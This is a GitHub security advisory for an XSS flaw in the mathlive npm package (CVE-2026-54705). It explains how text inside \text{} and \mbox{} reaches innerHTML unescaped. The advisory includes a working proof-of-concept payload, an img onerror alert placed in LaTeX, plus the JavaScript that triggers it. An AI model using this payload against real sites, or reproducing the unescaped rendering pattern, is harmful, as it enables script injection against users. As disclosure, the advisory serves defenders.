GHSA-FM7P-GW32-828P
Vulnerability from github – Published: 2026-07-29 17:21 – Updated: 2026-07-29 17:21Summary
Despite the 0.104.0 patch escaping attribute-bearing constructs (\htmlData, \href), text-content reflection was missed. The \text{}, \mbox{} commands accept arbitrary characters in their body and emit them raw and unescaped into both the HTML markup and the MathML output, leading to XSS.
Details
Box.toMarkup at src/core/box.ts:356 concatenates this.value into the rendered span without HTML-escaping. In text mode any literal character (<, >, &, ") is wrapped into a TextAtom whose value is the raw codepoint and lands in the markup unchanged. The MathML serializer at src/formats/atom-to-math-ml.ts is independently broken: xmlEscape deliberately omits the & rule, and scanText, case 'text', and the mode === 'text' early return all emit atom.value raw.
Both outputs flow into innerHTML sinks via the public API. <math-span> / <math-div> (src/public/math-static-elements.ts:331,407) bypass MathfieldElement.createHTML entirely. The editor and SSR paths route through createHTML, but its default value is the identity function (src/public/mathfield-element.ts:789).
PoC
- Go to https://mathlive.io/mathfield/demo/
- open DevTools console and paste:
const s = document.createElement('math-span');
s.style.display = 'block';
s.textContent = '\\text{<img src=x onerror=alert(1)>}';
document.body.appendChild(s);
s.scrollIntoView();
Equivalent payloads: \mbox{<img src=x onerror=alert(1)>}
or
import { convertLatexToMarkup } from 'mathlive';
document.body.innerHTML = convertLatexToMarkup('\\text{<img src=x onerror=alert(1)>}');
Impact
MathLive users who render untrusted mathematical expressions can encounter malicious input that runs arbitrary JavaScript.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.109.2"
},
"package": {
"ecosystem": "npm",
"name": "mathlive"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.110.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54705"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T17:21:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nDespite the 0.104.0 patch escaping attribute-bearing constructs (`\\htmlData`, `\\href`), text-content reflection was missed. The `\\text{}`, `\\mbox{}` commands accept arbitrary characters in their body and emit them raw and unescaped into both the HTML markup and the MathML output, leading to XSS.\n\n### Details\n\n`Box.toMarkup` at `src/core/box.ts:356` concatenates `this.value` into the rendered span without HTML-escaping. In text mode any literal character (`\u003c`, `\u003e`, `\u0026`, `\"`) is wrapped into a `TextAtom` whose `value` is the raw codepoint and lands in the markup unchanged. The MathML serializer at `src/formats/atom-to-math-ml.ts` is independently broken: `xmlEscape` deliberately omits the `\u0026` rule, and `scanText`, `case \u0027text\u0027`, and the `mode === \u0027text\u0027` early return all emit `atom.value` raw.\n\nBoth outputs flow into `innerHTML` sinks via the public API. `\u003cmath-span\u003e` / `\u003cmath-div\u003e` (`src/public/math-static-elements.ts:331,407`) bypass `MathfieldElement.createHTML` entirely. The editor and SSR paths route through `createHTML`, but its default value is the identity function (`src/public/mathfield-element.ts:789`).\n\n### PoC\n\n1. Go to https://mathlive.io/mathfield/demo/\n2. open DevTools console and paste:\n\n```js\nconst s = document.createElement(\u0027math-span\u0027);\ns.style.display = \u0027block\u0027;\ns.textContent = \u0027\\\\text{\u003cimg src=x onerror=alert(1)\u003e}\u0027;\ndocument.body.appendChild(s);\ns.scrollIntoView();\n```\n\nEquivalent payloads: `\\mbox{\u003cimg src=x onerror=alert(1)\u003e}`\n\nor\n\n```js\nimport { convertLatexToMarkup } from \u0027mathlive\u0027;\ndocument.body.innerHTML = convertLatexToMarkup(\u0027\\\\text{\u003cimg src=x onerror=alert(1)\u003e}\u0027);\n```\n\n### Impact\n\nMathLive users who render untrusted mathematical expressions can encounter malicious input that runs arbitrary JavaScript.",
"id": "GHSA-fm7p-gw32-828p",
"modified": "2026-07-29T17:21:26Z",
"published": "2026-07-29T17:21:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/arnog/mathlive/security/advisories/GHSA-fm7p-gw32-828p"
},
{
"type": "WEB",
"url": "https://github.com/arnog/mathlive/issues/3028"
},
{
"type": "WEB",
"url": "https://github.com/arnog/mathlive/commit/5fe1c46153883f9ec0249a5c8c34e64aaae9cfb8"
},
{
"type": "PACKAGE",
"url": "https://github.com/arnog/mathlive"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "mathlive\u0027s Lack of Escaping of HTML allows for XSS"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.